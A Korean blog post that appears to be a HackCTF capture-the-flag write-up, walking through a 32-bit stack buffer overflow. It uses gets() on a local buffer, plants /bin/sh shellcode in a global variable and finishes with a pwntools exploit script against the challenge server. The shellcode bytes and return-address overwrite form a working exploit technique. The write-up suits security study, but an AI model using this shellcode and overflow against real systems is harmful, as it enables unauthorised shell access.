HackCTF
Do you wanna be a God? If so, Challenge!
ctf.j0n9hyun.xyz
1. prob1 파일의 보호기법을 확인하기
- NX : disabled -> stack에 실행권한이 존재한다는 의미
2. IDA로 디컴파일 해보기
- main() 함수 외에 전부 기본적인 함수들
- 7번째 줄 read() 함수로 name 변수에 50(0x32)Byte 만큼 입력값을 읽어서 넣어줌 -> name은 main() 함수내에 선언된 변수가 아니다.
- name 변수를 더블클릭해서 따라가면 .bss 영역에 존재하는 0x0804A060 주소를 가진 변수라고 알 수 있다.
- .bss 나 bss는 초기에 오직 제로 값으로 표시된 정적으로 할당된 변수가 포함된 데이터 세그먼트의 일부로 컴파일러나 링커에 의해 사용된다. 즉, 초기화되지 않은 전역 데이터를 위한 영역이다.
=> name 은 전역변수
- 9번째줄, gets() 함수는 입력으로 받은 값을 변수 s에 저장한다. s 버퍼에 입력을 받기 때문에 길이제한이 없으므로 버퍼오버플로우를 일으킬 수 있다.
=> s 는 지역변수, 버퍼오버플로우가 일어나는 시점
2. 스택 구조
- 32bit 쉘을 띄우는 코드는 25byte이기 때문에 s 변수에서 코드를 삽입해 실행시키기 어렵다.
=> name 변수에 쉘코드를 삽입하고 ret의 값에 name의 주소를 넣어서(버퍼오버플로우) 쉘코드를 실행시키도록 한다.
쉘코드 메모
32bit (1)가장 기본적으로 쉘을 띄우는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 \x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe..
blog.kimtae.xyz
3. exploit code 작성
- name 주소 : 0x0804A060
- 쉘코드\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3003)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
name_shellcode_addr = 0x0804A060
payload = 'A'*24
payload += p32(name_shellcode_addr)
p.recvuntil("Name : ")
p.sendline(shellcode)
p.recvuntil("input : ")
p.sendline(payload)
p.interactive()
'study > CTF' 카테고리의 다른 글
[HackCTF] Basic_BOF #2 (0) | 2020.09.25 |
---|---|
[HackCTF] Basic_FSB (0) | 2020.09.23 |
[HackCTF] Pwnable - RTL_World (0) | 2020.09.23 |
[HackCTF] Pwnable - Basic_BOF #1 (0) | 2020.09.23 |
[CTF] pwanable.kr_passcode (PLT와 GOT 개념 정리) (0) | 2020.06.12 |